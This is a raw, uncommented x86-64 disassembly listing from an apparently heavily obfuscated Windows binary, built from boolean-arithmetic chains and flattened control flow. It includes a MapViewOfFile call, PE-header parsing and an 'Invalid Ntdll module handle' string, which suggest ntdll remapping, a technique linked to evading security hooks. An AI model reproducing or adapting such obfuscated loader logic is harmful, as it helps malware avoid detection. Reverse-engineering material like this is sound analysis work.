and edx, 0xf42c5236
or edx, ebx
or eax, ecx
and ecx, 0xbd3adc9
and edi, 0xf42c5236
or edi, ecx
xor edi, edx
not eax
or eax, edi
and r8d, 0xd3b6341
and r9d, 0xf2c49cbe
or r9d, r8d
mov ebx, r9d
xor ebx, 0xf2c49cbe
mov edi, r9d
xor edi, 0x1000040
mov r8d, eax
not r8d
mov ecx, r8d
and ecx, 0x221500d2
mov edx, eax
and edx, 0x81201001
or edx, ecx
xor edx, 0x81201001
mov ecx, eax
xor ecx, 0xa33510d3
and ecx, eax
and edi, 0x23040040
xor r9d, 0x51f18c6d
and r9d, ebx
and ebx, 0x80311093
or ebx, edi
mov edi, edx
and edi, ecx
xor ecx, edx
mov edx, ebx
xor edx, 0x110092
xor ebx, 0x7fceef6c
or ecx, edi
mov edi, ebx
and edi, 0x90ae5925
and edx, 0x231100d2
or edx, edi
mov esi, r9d
not esi
or ebx, esi
and esi, 0x90ae5925
and r9d, 0x6f51a6da
or r9d, esi
xor r9d, edx
mov edi, dword [0x1400a6664]
not ebx
or ebx, r9d
mov edx, ecx
not edx
and edx, ebx
not ebx
and ebx, ecx
or ebx, edx
and r8d, 0x897e17e4
and eax, 0x7681e81b
or eax, r8d
mov ecx, eax
xor ecx, 0x7681e81b
xor eax, 0x897e17e4
and eax, ebx
not ebx
and ecx, ebx
or eax, ecx
xor ebx, eax
test ebx, eax
setne r11b
sete r9b
cmp edi, 9
setg r8b
cmp edi, 0xa
setl sil
mov r10d, esi
mov r12d, esi
mov eax, esi
xor al, r8b
mov r14d, eax
xor r14b, 1
mov ecx, r14d
or cl, al
mov ebx, ecx
xor bl, 1
mov edx, ecx
and dl, bl
mov edi, ecx
and dil, dl
xor dl, cl
or dl, dil
xor dl, al
or bl, al
xor al, cl
xor al, 1
xor bl, 1
or bl, al
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
xor bl, 1
mov edi, ebx
or dil, sil
xor bl, sil
not bl
and bl, sil
and sil, r9b
xor r10b, r9b
or r10b, sil
or r12b, r11b
mov esi, r9d
xor sil, r11b
mov r15d, esi
xor r15b, 1
mov ecx, esi
or cl, r15b
mov eax, esi
and al, r15b
mov edx, eax
and dl, sil
xor al, sil
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
and dl, cl
or al, dl
mov edx, esi
xor dl, cl
or cl, sil
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov r13d, r11d
and r13b, al
not al
and al, r9b
and sil, r11b
or r11b, r15b
and r15b, r9b
or r9b, r8b
mov ecx, r12d
xor cl, r9b
or r12b, r9b
xor r12b, 1
or r12b, cl
mov edx, r12d
and r12b, r10b
xor r10b, 1
xor dl, 1
mov ecx, r10d
xor cl, dl
and cl, r10b
and dl, r10b
or dl, r12b
xor cl, 1
xor dl, 1
mov r9d, ecx
xor r9b, dl
or dl, cl
xor dl, 1
or dl, r9b
mov r9d, edx
xor r9b, 1
mov r10d, r9d
and r10b, dl
xor r9b, r10b
xor r10b, 1
or r10b, dl
xor r10b, 1
or r10b, r9b
mov edx, r10d
xor dl, 1
and r10b, dl
xor r10b, 1
mov r9d, r10d
xor r9b, dl
or r10b, dl
xor r10b, 1
or r10b, r9b
mov edx, r10d
xor dl, 1
and r10b, dl
mov r9d, r10d
and r9b, dl
xor r10b, dl
or r10b, r9b
mov edx, r10d
xor dl, 1
and r10b, dl
mov r9d, edx
and r9b, r10b
xor r10b, dl
or r10b, r9b
xor bl, 1
mov edx, edi
xor dl, bl
or bl, dil
xor bl, 1
or bl, dl
mov edx, r8d
or dl, r14b
xor dl, 1
xor r14b, r8b
mov r8d, edx
and r8b, r14b
xor r14b, dl
or r14b, r8b
mov edx, r14d
xor dl, 1
and r14b, dl
mov r8d, edx
and r8b, r14b
xor r14b, dl
or r14b, r8b
xor r14b, bl
xor r14b, 1
and bl, r14b
xor bl, 1
mov edx, ebx
xor dl, r14b
or bl, r14b
mov r8d, r10d
xor r8b, 1
xor bl, 1
or bl, dl
or al, r13b
or r15b, sil
xor r15b, 1
mov edx, r11d
xor dl, r15b
or r15b, r11b
xor r15b, 1
or r15b, dl
mov edx, r15d
xor dl, 1
mov r9d, eax
xor r9b, 1
mov ecx, r9d
and cl, al
and dl, r15b
xor cl, 1
mov r11d, eax
xor r11b, cl
or cl, al
xor cl, 1
or cl, r11b
mov eax, r15d
and al, dl
xor dl, r15b
or dl, al
mov eax, ecx
xor al, 1
and al, dl
xor dl, 1
and dl, cl
or dl, al
mov eax, r9d
and al, r15b
xor r9b, r15b
or r9b, al
mov eax, r9d
xor al, dl
xor dl, 1
xor al, 1
or dl, r9b
xor dl, 1
or dl, al
mov r9d, ebx
xor r9b, 1
and bl, r9b
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
mov eax, edx
and al, bl
xor bl, 1
mov ecx, edx
xor cl, 1
and bl, cl
or bl, al
mov eax, ebx
xor al, cl
and al, bl
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, r9b
xor dl, 1
or dl, r9b
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, dl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov ecx, r10d
or cl, al
mov edx, ebx
and dl, r10b
and r8b, al
or r8b, dl
xor r8b, 1
mov edx, ecx
xor dl, r8b
or r8b, cl
xor r8b, 1
or r8b, dl
mov edi, r8d
xor dil, 1
xor al, r10b
mov ecx, eax
xor cl, bl
and cl, al
mov eax, r10d
xor al, bl
or bl, r10b
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, 1
and al, dl
or dl, bl
xor dl, 1
and bl, cl
or bl, al
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov r9d, r8d
and r9b, dil
xor r9b, 1
mov eax, edi
xor al, r9b
or r9b, dil
xor r9b, 1
or r9b, al
mov r14d, ebx
xor r14b, 1
mov ecx, r14d
and cl, bl
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov esi, r9d
mov r10d, ecx
xor r10b, 1
mov r11d, r10d
or r11b, cl
xor cl, r9b
xor r9b, 1
or sil, r9b
xor dil, sil
xor r14b, bl
and r14b, bl
or sil, r8b
xor sil, 1
xor dil, 1
mov eax, esi
and al, dil
xor dil, sil
or dil, al
mov eax, r14d
xor al, 1
mov edx, r14d
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
and bl, r11b
xor al, r11b
xor r11b, 1
xor dl, 1
and dl, r11b
or dl, bl
or r14b, r11b
xor r14b, 1
or r14b, al
xor dl, 1
mov eax, edx
xor al, r14b
or dl, r14b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and al, dil
xor dil, 1
and dil, dl
or dil, al
or r10b, r9b
xor r10b, 1
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, edi
xor al, 1
and al, cl
xor cl, 1
mov edx, edi
xor dl, cl
and dl, dil
and cl, dil
or cl, al
mov ebx, edx
xor bl, cl
test cl, 1
mov eax, 0x37a6d97
mov ecx, 0x4e9474b1
cmovne eax, ecx
test dl, 1
mov edx, 0x37a6d97
cmove eax, edx
test bl, 1
jmp 0x14001a3c7
cmp eax, 0x37a6d97
je 0x14001e11e
cmp eax, 0x6fa91c6
jne 0x140001970
mov eax, 0x46432c07
mov dword [rbp + 0x10], 1
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
cmp eax, 0x54ac12a9
je 0x14001e17c
cmp eax, 0x56c17f60
jne 0x140001970
mov rcx, qword [rbp + 0x80]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov dword [rbp + 0x18], 0
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
add rsp, 0x30
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x70]
mov qword [rbp + 0x98], rcx
movsxd rax, dword [rax + 0x3c]
movabs rdx, 0xc908ad0ce5b2b5cb
mov rcx, rdx
sub rcx, rax
sub rcx, rdx
sub rcx, qword [rbp - 0x20]
movabs rax, 0xdf2d46a9d430b732
add rcx, rax
movabs rax, 0x90a746dae34423de
add rcx, rax
movabs rax, 0xcd0af1cc5f6a803c
add rcx, rax
movabs rdx, 0x5d9bbae6a9968b52
sub rcx, rdx
sub rcx, rax
movabs rax, 0xa26310840304ec3a
mov rdx, rax
add rcx, rax
mov rax, qword [rbp - 0x18]
sub rax, rcx
movabs rcx, 0x2a53e75967afe801
add rax, rcx
add rax, rdx
mov rdx, rcx
sub rdx, rax
movabs rax, 0xdb6e4876fda6d29b
add rdx, rax
movabs rcx, 0xe4ded7918d096663
sub rdx, rcx
sub rdx, rax
movabs rax, 0x39d534c3ad9ecc7e
sub rdx, rax
movabs rbx, 0x5331e30ccea9c828
sub rdx, rbx
add rdx, rax
add rdx, rcx
mov rcx, qword [rbp - 0x10]
sub rcx, rdx
mov rax, qword [rbp + 0x98]
movabs rdx, 0xea57e214787a35f3
add rcx, rdx
movabs rdx, 0x1ccea19f9e86273c
mov rbx, rdx
add rcx, rdx
movabs rdx, 0x6fe245bb79eafbe2
add rcx, rdx
sub rcx, rbx
movabs rdx, 0xda1bec430b2aee94
add rcx, rdx
movabs rbx, 0xdaaef6b33fa382a
add rcx, rbx
sub rcx, rdx
movabs rdx, 0x91835a22c73f2f78
sub rcx, rdx
movabs rdi, 0x5c848b1f18a86c6a
sub rcx, rdi
add rcx, rdx
movabs rdx, 0x5cfcc1ff94c8b681
sub rcx, rdx
sub rcx, rbx
movabs rbx, 0xb2a6dd43358045c6
sub rax, rbx
movabs rdi, 0x5c9b3e221b886619
add rax, rdi
add rax, rbx
movabs rbx, 0x638a0b23c07ba82
sub rax, rbx
movabs rsi, 0xb2255205fb21f2d8
sub rax, rsi
sub rax, rdi
add rax, rcx
add rax, rbx
add rax, rdx
movabs rcx, 0x223f9388a07985ce
mov rdx, rcx
add rax, rcx
movabs rbx, 0xb5fe98e7c45b95b
mov rcx, rbx
sub rcx, rax
add rcx, rdx
mov rax, rbx
sub rax, rcx
add rax, rsi
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xa8], rax
mov eax, 0xf5286d5c
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
cmp byte [rbp + 0x6f], 0
mov eax, 0xce4c0cd9
mov ecx, 0xb38d85f6
jmp 0x14001a3c7
sub rsp, 0x20
lea rcx, str.____Invalid_Ntdll_module_handle
call fcn.140021420
add rsp, 0x20
mov eax, 0x60017083
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
movzx eax, word [rbp + 0xce]
add eax, 1
mov dword [rbp + 0x30], eax
mov eax, dword [0x1400a6668]
mov r8d, dword [0x1400a6664]
lea r9d, [rax - 1]
imul r9d, eax
mov r10d, r9d
not r10d
mov eax, r10d
and eax, 0x800df8cc
mov ecx, r9d
xor ecx, 0x800df8cc
and ecx, r9d
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x69f91f0f
and ecx, 0x9606e0f0
or ecx, eax
mov ebx, ecx
xor ebx, 0x400102c
xor ecx, 0xe9f4e7c3
mov edx, r10d
or edx, r9d
mov eax, edx
not eax
and eax, 0x26a1a3da
and edx, 0xd95e5c25
or edx, eax
mov esi, edx
xor esi, 0x9041025
xor edx, 0x26a1a3da
mov eax, ecx
or eax, edx
mov edi, eax
not edi
and ecx, 0xd27bcc52
and ebx, 0x2d8433ad
or ebx, ecx
and edx, 0xd27bcc52
and esi, 0x2d8433ad
or esi, edx
xor esi, ebx
mov ecx, esi
not ecx
mov edx, eax
and edx, 0xce9373ab
and edi, 0x316c8c54
or edi, edx
or eax, ecx
and ecx, 0xce9373ab
and esi, 0x316c8c54
or esi, ecx
xor esi, edi
not eax
or eax, esi
mov ecx, eax
not ecx
and ecx, 0x739ccdc6
and eax, 0x8c633239
or eax, ecx
mov ecx, eax
xor ecx, 0x80012230
xor eax, 0x5208c142
and eax, 0x5e6ad14b
and ecx, 0xa1952eb4
or ecx, eax
mov eax, ecx
xor eax, 0x5e6ad14b
xor ecx, 0x20840a20
mov edx, eax
and edx, 0x190f18b9
and ecx, 0x60e64b68
and eax, 0x9f19b497
or eax, ecx
xor eax, 0x79e953d1
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x5e34c7d4
and ecx, eax
not eax
and eax, 0x5e34c7d4
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0xa1cb382b
and ecx, 0x5e34c7d4
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x8f2e709d
and eax, 0x70d18f62
or eax, ecx
mov ebx, eax
xor ebx, 0x8f000018
xor eax, 0x70d18f40
and eax, 0x70ffffc5
and ebx, 0x8f00003a
or ebx, eax
mov r11d, ebx
xor r11d, 0x82000020
xor ebx, 0x70ffffc5
mov eax, r10d
and eax, 0x60204a29
mov edx, r9d
and edx, 0x84048014
or edx, eax
xor edx, 0x84048014
mov ecx, r9d
xor ecx, 0xe424ca3d
and ecx, r9d
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x1bdb35c2
and ecx, 0xe424ca3d
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x421d0abf
and eax, ecx
not ecx
and ecx, 0x81f9314a
and edx, 0x7e06ceb5
or edx, ecx
mov esi, edx
xor esi, 0x7e06ceb5
xor edx, 0x1a03142
mov ecx, esi
and ecx, 0x421d0abf
mov edi, ecx
and edi, eax
xor eax, ecx
or eax, edi
mov ecx, eax
not ecx
and ecx, 0xa4ededf9
and eax, 0x5b121206
or eax, ecx
and edx, 0x4da63bd6
mov ecx, esi
and ecx, 0xb259c429
or ecx, edx
xor ecx, 0x54a9236f
and esi, 0x190f18b9
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0xad0ab968
and esi, 0x52f54697
or esi, ecx
xor esi, 0x52f54697
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x10b0e97e
and eax, esi
and esi, 0xef4f1681
or esi, ecx
xor esi, 0xef4f1681
mov ecx, esi
and ecx, eax
xor esi, eax
or esi, ecx
mov ecx, esi
mov eax, esi
xor eax, 0x2d7c02db
and eax, esi
mov edx, esi
not edx
mov esi, edx
and esi, 0xb85e6b94
and ecx, 0x47a1946b
or ecx, esi
xor ecx, 0x47a1946b
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov esi, ecx
not esi
and ebx, 0x2d7c02db
and r11d, 0xd283fd24
or r11d, ebx
and edx, 0x2d7c02db
mov edi, edx
and edi, eax
xor eax, edx
or eax, edi
mov edx, r11d
not edx
and edx, eax
not eax
and eax, r11d
or eax, edx
and ecx, 0x6f30a86
mov edx, esi
and edx, 0xf90cf579
or edx, ecx
mov ebx, edx
xor ebx, 0xf90cf579
mov edi, eax
not edi
and edi, 0xb968a91
mov ecx, eax
and ecx, 0xf469756e
or ecx, edi
xor ecx, 0xf469756e
xor edx, 0x35d383ee
and edx, ebx
and esi, 0xccdf7697
mov edi, ecx
and edi, 0x33208968
and eax, 0xccdf7697
or eax, edi
mov edi, edx
and edi, esi
xor esi, edx
or esi, edi
mov edx, esi
not edx
and edx, eax
not eax
and eax, esi
or eax, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7b61ed94
and ecx, 0x849e126b
or ecx, edx
mov edx, ecx
xor edx, 0x41a1048
xor ecx, 0x7b61ed94
mov ebx, eax
not ebx
mov edi, ebx
and edi, 0xe2e5c2b3
and eax, 0x1d1a3d4c
or eax, edi
or ebx, ecx
and ecx, 0xe2e5c2b3
and edx, 0x1d1a3d4c
or edx, ecx
xor edx, eax
not ebx
or ebx, edx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xbfaf1a60
mov edx, ebx
and edx, 0x4050e59f
or edx, ecx
xor edx, 0x4050e59f
mov ecx, eax
and ecx, ebx
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x1795062a
and ecx, 0xe86af9d5
or ecx, edx
mov edx, ecx
xor edx, 0xe060e145
and edx, 0xe6f0e747
xor ecx, 0xe9a1e92
or ecx, edx
mov edx, ecx
not edx
and eax, 0x19b1d3f4
and ebx, 0xe64e2c0b
or ebx, eax
mov edi, ebx
xor edi, 0xe64e2c0b
xor ebx, 0x99193f0
and ebx, 0xa9db9bfa
mov eax, edi
and eax, 0x56246405
or eax, ebx
xor eax, 0xb0d48342
and edi, 0x190f18b8
or edi, eax
mov eax, edi
not eax
mov ebx, ecx
or ebx, edi
not ebx
and ecx, 0xe28fa2d8
and edx, 0x1d705d27
or edx, ecx
and edi, 0xe28fa2d8
and eax, 0x1d705d27
or eax, edi
xor eax, edx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov r11d, eax
not r11d
mov ecx, r11d
and ecx, eax
mov edx, ecx
not edx
mov ebx, eax
and ebx, 0x1de2dc3c
mov edi, r11d
and edi, 0xe21d23c3
or edi, ebx
mov esi, eax
or esi, edx
and edx, 0x1de2dc3c
and ecx, 0xe21d23c3
or ecx, edx
xor ecx, edi
not esi
or esi, ecx
mov ecx, esi
not ecx
and esi, 0xe93f8fcd
and ecx, 0x16c07032
or ecx, esi
mov edx, ecx
xor edx, 0x16c07032
mov esi, r11d
and esi, 0xf61e6d13
and eax, 0x9e192ec
or eax, esi
xor eax, 0x9e192ec
xor r11d, eax
and r11d, eax
mov eax, r11d
not eax
mov esi, edx
xor esi, eax
and esi, edx
xor ecx, 0x693e8f09
and ecx, 0x7d7eff19
and edx, 0x828100e6
or edx, ecx
and eax, 0x7d7eff19
and r11d, 0x828100e6
or r11d, eax
xor r11d, edx
mov eax, esi
and eax, r11d
xor r11d, esi
or r11d, eax
mov eax, r10d
and eax, 0xf3bea90
mov ecx, r9d
and ecx, 0xf0c4156f
or ecx, eax
xor ecx, 0xf0c4156f
mov eax, r10d
and eax, r9d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov edx, eax
not edx
and eax, 0xf9c64f65
and edx, 0x639b09a
or edx, eax
mov ecx, edx
xor ecx, 0xf1c00805
xor edx, 0x400301a
and edx, 0xc06777a
and ecx, 0xf3f98885
or ecx, edx
mov ebx, ecx
xor ebx, 0xf3f98885
mov r14d, ecx
xor r14d, 0xc06777a
and r10d, 0x5df0c226
and r9d, 0xa20f3dd9
or r9d, r10d
mov eax, r9d
xor eax, 0xa20f3dd9
xor r9d, 0x5df0c226
or r9d, eax
mov eax, r9d
not eax
and eax, 0x68226560
and r9d, 0x97dd9a9f
or r9d, eax
mov r10d, r9d
xor r10d, 0x97dd9a9f
mov r15d, r9d
xor r15d, 0x68226560
xor ecx, 0x72dbcbc7
and ecx, r14d
mov edx, r14d
or edx, 0x81224342
mov edi, edx
not edi
mov esi, ecx
not esi
mov eax, esi
and eax, 0x227e8056
and ecx, 0xdd817fa9
or ecx, eax
mov eax, r15d
and eax, 0x81224342
xor r9d, 0x16ffd9dd
and r9d, r10d
or esi, edx
and edx, 0x227e8056
and edi, 0x5c813ca9
or edi, edx
xor edi, ecx
not esi
or esi, edi
mov ecx, eax
and ecx, r9d
xor r9d, eax
or r9d, ecx
mov eax, esi
not eax
and eax, 0x9b765ef
and esi, 0xf6489a10
or esi, eax
mov eax, r9d
not eax
and eax, 0x9b765ef
and r9d, 0xf6489a10
or r9d, eax
xor r9d, esi
mov eax, ebx
and eax, 0x9546c970
and r14d, 0x6ab9368f
or r14d, eax
or ebx, r10d
and r10d, 0x9546c970
and r15d, 0x6ab9368f
or r15d, r10d
xor r15d, r14d
not ebx
or ebx, r15d
not ebx
mov eax, r9d
and eax, ebx
xor ebx, r9d
or ebx, eax
mov eax, ebx
not eax
mov r9d, ebx
xor r9d, 0x6a89354e
and r9d, eax
and eax, 0x69f256f0
mov edx, ebx
and edx, 0x960da90f
or edx, eax
mov eax, edx
xor eax, 0x8209a00e
mov edi, r11d
not edi
mov esi, edi
and esi, 0x75d61d01
mov ecx, r11d
and ecx, 0x8a29e2fe
or ecx, esi
xor edx, 0x61d21400
and edx, 0x75d61d01
and eax, 0x8a29e2fe
or eax, edx
xor eax, ecx
mov esi, eax
xor esi, edi
and esi, eax
mov eax, edi
or eax, 0x6a89354e
mov ecx, eax
not ecx
and ebx, 0x9576cab1
or r11d, 0x448091
and r11d, 0x20cc959d
and edi, 0x4a012042
or edi, r11d
and eax, 0x20cc959d
and ecx, 0x95324a20
or ecx, eax
xor ecx, edi
mov eax, r9d
and eax, ebx
xor ebx, r9d
or ebx, eax
mov eax, ecx
not eax
and eax, 0x38682cc8
and ecx, 0xc797d337
or ecx, eax
mov eax, ebx
not eax
and eax, 0x38682cc8
and ebx, 0xc797d337
or ebx, eax
xor ebx, ecx
mov eax, ebx
not eax
mov ecx, esi
xor ecx, eax
and ecx, esi
mov edx, esi
not edx
and edx, 0xd5e82097
and esi, 0x2a17df68
or esi, edx
and eax, 0xd5e82097
and ebx, 0x2a17df68
or ebx, eax
xor ebx, esi
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x8910810
mov edx, ebx
and edx, 0x840e0561
or edx, ecx
xor edx, 0x840e0561
mov ecx, ebx
xor ecx, 0x8c9f0d71
and ecx, ebx
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x7360f28e
and ecx, 0x8c9f0d71
or ecx, edx
mov esi, ecx
mov edi, ecx
xor edi, 0x7e777d36
and edi, ecx
not ecx
and eax, 0xa43a547f
and ebx, 0x5bc5ab80
or ebx, eax
mov edx, ebx
xor edx, 0x5bc5ab80
xor ebx, 0xa408545c
and ebx, 0xe709fedc
mov eax, edx
and eax, 0x18f60123
or eax, ebx
xor eax, 0x18f60123
or eax, edx
mov edx, eax
not edx
and ecx, 0x33de7f17
and esi, 0xcc2180e8
or esi, ecx
mov r9d, esi
xor r9d, 0xcc2180e8
mov ebx, eax
and ebx, 0x16533b7e
xor eax, 0x818882c9
and eax, edx
mov ecx, edx
and ecx, 0xe9acc481
or ecx, ebx
xor ecx, 0xe9acc481
xor esi, 0x32567d16
or esi, 0x818882c9
mov edx, esi
not edx
mov r10d, ecx
and r10d, 0x7e777d36
mov ebx, edi
not ebx
mov r11d, esi
and r11d, 0x7dbcc7ea
and edx, 0x2433814
or edx, r11d
or esi, ebx
and ebx, 0x7dbcc7ea
and edi, 0x82433815
or edi, ebx
xor edi, edx
not esi
or esi, edi
mov edx, r10d
and edx, eax
xor eax, r10d
or eax, edx
mov edx, esi
not edx
and edx, eax
not eax
and eax, esi
or eax, edx
mov edx, r9d
and edx, ecx
xor ecx, r9d
or ecx, edx
mov ebx, ecx
not ebx
mov edi, eax
not edi
mov edx, edi
and edx, 0x43637b6a
and eax, 0xbc9c8495
or eax, edx
or edi, ecx
and ecx, 0x43637b6a
and ebx, 0xbc9c8495
or ebx, ecx
xor ebx, eax
not edi
or edi, ebx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xc95b6509
mov edx, edi
and edx, 0x36a49af6
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xef3df5fe
and edx, 0x10c20a01
or edx, ecx
mov ecx, edx
xor ecx, 0x266690f7
xor edx, 0xd9996f08
and eax, edx
and ecx, edi
or ecx, eax
xor edx, ecx
test edx, ecx
sete sil
setne r15b
cmp r8d, 9
setg dil
cmp r8d, 0xa
setl al
mov byte [rbp + 0x2c], al
mov ecx, eax
xor cl, dil
mov r11d, ecx
and r11b, al
mov r10d, r11d
xor r10b, 1
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov r8d, ecx
xor r8b, al
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov r12d, r10d
or r12b, r11b
mov edx, r12d
xor dl, r10b
mov r14d, eax
xor r14b, 1
mov r9d, eax
or r9b, r14b
mov ebx, r9d
xor bl, 1
and r8b, cl
or r12b, r11b
mov ecx, edx
xor cl, r12b
or r12b, dl
xor r12b, 1
or r12b, cl
mov edx, r8d
xor dl, 1
and bl, r9b
mov ecx, edx
and cl, r8b
mov r13d, r9d
and r13b, bl
xor bl, r9b
or bl, r13b
mov r13d, edx
xor r13b, cl
xor cl, 1
or cl, r8b
xor cl, 1
or cl, r13b
mov r8d, ebx
xor r8b, 1
and r8b, cl
xor cl, 1
and cl, bl
or cl, r8b
mov ebx, r9d
and bl, dl
xor dl, r9b
or dl, bl
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, r12d
xor dl, 1
and dl, cl
xor cl, 1
and cl, r12b
or cl, dl
mov edx, r10d
or dl, r14b
xor dl, 1
and al, r10b
and r14b, r11b
or r14b, al
mov eax, edx
and al, r14b
xor r14b, dl
or r14b, al
mov eax, r14d
xor al, 1
mov edx, r14d
and dl, cl
xor cl, 1
and al, cl
or al, dl
mov edx, ecx
and dl, r14b
xor cl, r14b
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r9d, ecx
mov eax, r15d
mov byte [rbp + 0x3b], sil
xor al, sil
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov byte [rbp + 0x3c], r15b
xor cl, r15b
xor al, sil
or dl, r15b
xor dl, 1
or dl, al
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov r14d, ecx
mov ecx, r9d
xor cl, 1
mov r13d, r9d
and r13b, cl
mov eax, ecx
and al, r13b
mov edx, ecx
xor dl, r13b
or dl, al
xor dl, 1
mov eax, ecx
or al, r9b
mov esi, edx
xor sil, al
and dl, al
mov ebx, eax
mov byte [rbp + 0x28], al
or dl, sil
xor sil, 1
mov eax, esi
xor al, dl
or sil, dl
xor sil, 1
or sil, al
mov r8d, esi
xor r8b, 1
xor bl, cl
mov byte [rbp + 0x3d], bl
mov byte [rbp + 0x39], r9b
xor cl, r9b
or cl, r13b
mov byte [rbp + 0x38], cl
xor r13b, 1
mov eax, r9d
xor al, r13b
or r13b, r9b
xor r13b, 1
or r13b, al
mov eax, r13d
xor al, 1
and r8b, sil
and r13b, al
mov edx, esi
and dl, r8b
xor r8b, sil
or r8b, dl
mov edx, eax
and dl, r13b
xor r13b, al
or r13b, dl
mov edx, r8d
xor dl, 1
and dl, r13b
xor r13b, 1
and r13b, r8b
or r13b, dl
mov edx, esi
and dl, al
xor al, sil
or al, dl
xor al, 1
mov edx, r13d
and dl, al
xor al, r13b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov esi, r10d
or r10b, dil
and dil, r11b
movzx ecx, byte [rbp + 0x2c]
and sil, cl
or sil, dil
xor r11b, cl
xor r10b, 1
or r10b, r11b
xor sil, 1
mov edx, esi
xor dl, r10b
or sil, r10b
xor sil, 1
or sil, dl
mov edi, r14d
xor dil, 1
mov r15d, edi
and r15b, r14b
mov ecx, r15d
xor cl, 1
mov byte [rbp + 0x2c], cl
mov r8d, edi
xor r8b, r15b
or cl, r14b
mov byte [rbp + 0x37], r14b
xor cl, 1
mov byte [rbp + 0x3a], cl
and r15b, dil
or r15b, r8b
mov r13d, r8d
or r13b, cl
mov edx, r13d
xor dl, 1
mov ecx, r14d
or cl, dil
mov byte [rbp + 0x26], cl
mov r14d, r13d
and r14b, dl
mov edi, r14d
xor r14b, r13b
xor dil, 1
or dil, dl
xor dil, 1
or dil, r14b
mov ebx, ecx
xor bl, 1
mov byte [rbp + 0x27], bl
mov r13d, edi
xor r13b, 1
and r13b, bl
and dil, cl
or dil, r13b
mov r13d, edx
and r13b, cl
xor dl, cl
or dl, r13b
mov r13d, edx
xor r13b, dil
xor dil, 1
or dil, dl
xor r13b, 1
xor dil, 1
or dil, r13b
mov r13d, edi
xor r13b, 1
mov edx, r13d
and dl, dil
xor dl, 1
mov ecx, edi
xor cl, dl
or dl, dil
xor dl, 1
or dl, cl
or r13b, dil
mov ecx, r13d
xor cl, 1
mov edi, ecx
and dil, r13b
xor dil, 1
mov r8d, edi
xor r8b, r13b
or dil, r13b
xor dil, 1
or dil, r8b
mov r8d, edx
xor r8b, cl
or cl, dl
xor cl, 1
or cl, r8b
xor dil, dl
xor cl, 1
mov r8d, edi
and r8b, cl
xor cl, dil
or cl, r8b
mov r8d, edx
xor r8b, 1
mov edi, r8d
and dil, dl
mov r13d, r8d
and r13b, dil
xor dil, r8b
or dil, r13b
or r8b, dl
mov edx, r8d
xor dl, dil
or r8b, dil
xor r8b, 1
or r8b, dl
xor cl, 1
mov edx, ecx
or dl, r8b
xor r8b, cl
xor dl, 1
mov ecx, edx
and cl, r8b
xor r8b, dl
or r8b, cl
mov ecx, r8d
xor cl, 1
mov r13d, ecx
or r13b, r8b
mov edx, r13d
